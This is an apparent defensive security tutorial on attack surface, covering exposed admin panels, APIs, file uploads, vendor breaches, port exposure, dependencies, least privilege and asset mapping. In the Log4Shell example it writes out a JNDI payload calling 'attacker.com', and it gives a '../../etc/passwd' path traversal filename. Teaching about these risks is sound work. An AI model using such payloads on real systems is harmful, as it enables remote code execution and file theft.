3 min read
On this page

Attack Surface

What is Attack Surface?

Attack surface is the sum of all points where an attacker can try to enter or extract data from a system. Every endpoint, every input field, every open port, every dependency, every user with access — all of it is attack surface.

The goal is not to eliminate attack surface entirely. That would mean shipping nothing. The goal is to minimize it deliberately and protect what remains.

A typical web application's attack surface:
- HTTP endpoints (public APIs, admin routes, health checks)
- Authentication flows (login, registration, password reset, OAuth callbacks)
- File upload handlers
- Database connections
- Third-party API integrations
- DNS records
- SSL/TLS configuration
- Client-side JavaScript
- Dependencies (npm packages, Docker base images, OS packages)
- Cloud infrastructure (S3 buckets, IAM roles, security groups)
- People (employees with credentials, contractors, former employees)

Where Attackers Look First

Attackers are efficient. They do not start by trying to break your encryption. They start by looking for the easiest entry points.

Admin Panels & Internal Tools

Common findings during penetration tests:
- /admin accessible without authentication
- /phpmyadmin with default credentials
- Internal dashboards exposed to the internet
- Debugging endpoints left enabled in production
- GraphQL introspection enabled, exposing full schema

Real example: 2019 Capital One breach
- A misconfigured WAF on an internal metadata endpoint
  allowed an attacker to retrieve IAM credentials from
  the EC2 instance metadata service (169.254.169.254)
- 106 million customer records exposed

APIs & Endpoints

Every API endpoint is an entry point. Attackers enumerate them systematically.

Tools attackers use:
- Directory brute-forcing: /api/v1/users, /api/v2/admin, /api/internal
- Swagger/OpenAPI docs left publicly accessible
- JavaScript source maps revealing API routes
- Mobile app decompilation revealing hidden endpoints
- CORS misconfigurations allowing cross-origin access

Real example: 2018 Facebook IDOR (CVE-2018-18057 area)
- Graph API allowed viewing photos of any user
  by changing the user ID parameter
- 6.8 million users' private photos exposed
- The endpoint existed for a legitimate feature but
  lacked proper authorization checks

File Uploads

File upload is one of the most dangerous features you can implement.

Attack vectors through file upload:
- Uploading a PHP/JSP webshell disguised as an image
- SVG files containing embedded JavaScript
- ZIP bombs (small file that decompresses to gigabytes)
- Path traversal in filenames: ../../etc/passwd
- Polyglot files (valid image AND valid JavaScript)
- Overwriting existing files by controlling the filename

Mitigations:
- Validate file type by magic bytes, not just extension
- Generate random filenames server-side
- Store uploads outside the web root
- Serve uploads from a separate domain
- Scan for malware before accepting
- Set Content-Disposition: attachment on downloads

Third-Party Integrations

Every integration expands your attack surface with someone else's security posture.

Real example: 2013 Target breach
- Attackers compromised Fazio Mechanical (HVAC vendor)
- Used vendor credentials to access Target's network
- Pivoted from vendor portal to POS systems
- 40 million credit card numbers stolen

Real example: 2021 Kaseya VSA supply chain attack
- REvil ransomware group exploited Kaseya's remote management tool
- Compromised managed service providers (MSPs)
- Reached 1,500+ downstream businesses through the supply chain

Reducing Attack Surface

Disable What You Don't Use

Every feature, port, service, and endpoint you do not actively use
should be disabled or removed.

Checklist:
- Remove default accounts and change default passwords
- Disable directory listing on web servers
- Remove sample applications (Tomcat examples, IIS default pages)
- Disable unused HTTP methods (TRACE, OPTIONS if not needed)
- Remove development dependencies from production builds
- Disable debugging endpoints and verbose error messages
- Close unnecessary ports (check with: nmap -sS your-server)
- Remove unused DNS records pointing to decommissioned services

Limit Exposed Ports

Production server — what should be open:
  Port 443 (HTTPS) — yes
  Port 80  (HTTP)  — only to redirect to 443
  Port 22  (SSH)   — only from bastion host / VPN, never public

What should NOT be open:
  Port 3306 (MySQL)     — internal only
  Port 5432 (PostgreSQL) — internal only
  Port 6379 (Redis)     — internal only, no auth by default
  Port 9200 (Elasticsearch) — internal only
  Port 27017 (MongoDB)  — internal only

Real example: 2017 MongoDB ransomware wave
- Thousands of MongoDB instances exposed to the internet
- Default configuration: no authentication, bound to 0.0.0.0
- Attackers deleted data and demanded ransom
- 28,000 databases wiped in a single campaign

Minimize Dependencies

Every dependency is code you did not write, did not review, and must trust.

Real example: 2021 Log4Shell (CVE-2021-44228)
- Critical RCE vulnerability in Apache Log4j
- Affected virtually every Java application
- Trivial to exploit: ${jndi:ldap://attacker.com/payload}
- Many organizations did not even know they used Log4j
  because it was a transitive dependency

Real example: 2018 event-stream npm attack
- Attacker gained maintainer access to popular npm package
- Injected code targeting a specific Bitcoin wallet application
- 8 million weekly downloads meant massive exposure
- Dependency existed three levels deep in many projects

Mitigations:
- Audit dependencies regularly (npm audit, pip-audit, cargo audit)
- Pin dependency versions, don't use floating ranges
- Use lock files (package-lock.json, Pipfile.lock)
- Monitor for CVEs in your dependency tree
- Evaluate whether you actually need each dependency
- Prefer well-maintained libraries with security track records

The Principle of Least Privilege

Every user, process, and system should have only the minimum access required to perform its function.

Examples:
- A web server process should not run as root
- A database user for an API should not have DROP TABLE permissions
- An S3 bucket policy should grant read to specific roles, not public
- An employee in marketing should not have SSH access to production
- A CI/CD service account should not have admin access to AWS
- API keys should be scoped to specific operations, not full access

Least Privilege in Practice

Bad IAM policy:
{
  "Effect": "Allow",
  "Action": "*",
  "Resource": "*"
}

Better IAM policy:
{
  "Effect": "Allow",
  "Action": [
    "s3:GetObject",
    "s3:PutObject"
  ],
  "Resource": "arn:aws:s3:::my-app-uploads/*"
}
Real example: 2019 Capital One breach (revisited)
- The compromised IAM role had access to list S3 buckets
  AND read their contents across the entire account
- If the role had been scoped to only the buckets the
  application needed, the blast radius would have been
  dramatically smaller

Forgotten Attack Surface

The most dangerous attack surface is the surface you have forgotten about.

Subdomain Takeover

Scenario:
1. You create staging.yourapp.com pointing to a Heroku app
2. You decommission the Heroku app but forget the DNS record
3. An attacker creates a Heroku app and claims that subdomain
4. They now control staging.yourapp.com
5. They can set cookies for *.yourapp.com, phish your users,
   and potentially bypass CORS policies

Prevention: Audit DNS records regularly. Remove records for
decommissioned services. Monitor for subdomain takeover.

Cloud Storage Misconfiguration

Real example: Numerous S3 bucket exposures
- 2017: Verizon — 14 million customer records in public S3 bucket
- 2017: US Army/NSA — classified data in public S3 bucket
- 2019: Capital One — 106 million records via misconfigured WAF

AWS has since added multiple warnings and defaults to prevent
public bucket access, but misconfigurations still happen.

Dangling Resources

Attack surface that teams commonly forget:
- Old API versions still running (v1 alongside v3)
- Test environments with production data
- Former employee accounts not deprovisioned
- OAuth applications authorized by departed employees
- Webhook endpoints registered with third-party services
- Unused cloud resources (VMs, databases, load balancers)
- Docker images with hardcoded credentials in public registries

Mapping Your Attack Surface

You cannot protect what you do not know about. Regular attack surface mapping is essential.

External attack surface:
- Enumerate subdomains (amass, subfinder)
- Port scan your external IPs (nmap, masscan)
- Review DNS records for dangling entries
- Check certificate transparency logs for forgotten subdomains
- Test all public endpoints for authentication requirements

Internal attack surface:
- Inventory all services and their network exposure
- Review IAM policies for over-permissioned accounts
- Audit third-party integrations and their access levels
- Check for default credentials on internal tools
- Review dependency trees for known vulnerabilities

Common Pitfalls

  • Focusing only on external surface: Internal systems are attack surface too. Once an attacker is inside (phishing, compromised VPN, supply chain), every internal service is a target. The 2020 SolarWinds attackers moved freely through internal networks.

  • Ignoring the human attack surface: Every employee with a password is attack surface. Social engineering, phishing, and credential theft are consistently the top initial access vectors. People are not a weakness to be eliminated — they are a surface to be protected.

  • Set and forget infrastructure: Attack surface changes with every deployment, every new integration, every DNS record. What was secure six months ago might not be secure today. Continuous monitoring beats periodic audits.

  • Trusting your CDN or WAF to handle it: These are valuable layers, but they are not a substitute for application-level security. WAFs can be bypassed. CDNs can be misconfigured. Your application must defend itself.

  • Not inventorying shadow IT: Teams spin up services, create cloud resources, and register domains without security team awareness. If you do not know it exists, you cannot protect it.

  • Treating internal networks as trusted: Zero trust architecture assumes no network location is inherently safe. The 2021 Colonial Pipeline breach started with a single compromised VPN credential and the attackers faced minimal internal barriers.

Key Takeaways

  • Attack surface is everything an attacker can interact with: endpoints, inputs, dependencies, cloud resources, and people.
  • Attackers look for easy wins first: admin panels, exposed databases, misconfigured cloud storage, forgotten subdomains.
  • Reduce surface by disabling unused features, closing unnecessary ports, minimizing dependencies, and removing default configurations.
  • Apply the principle of least privilege everywhere: every user, process, and system gets only the access it needs.
  • The most dangerous attack surface is the surface you have forgotten about. Inventory and audit continuously.
  • Every third-party integration extends your attack surface with their security posture. Evaluate and monitor accordingly.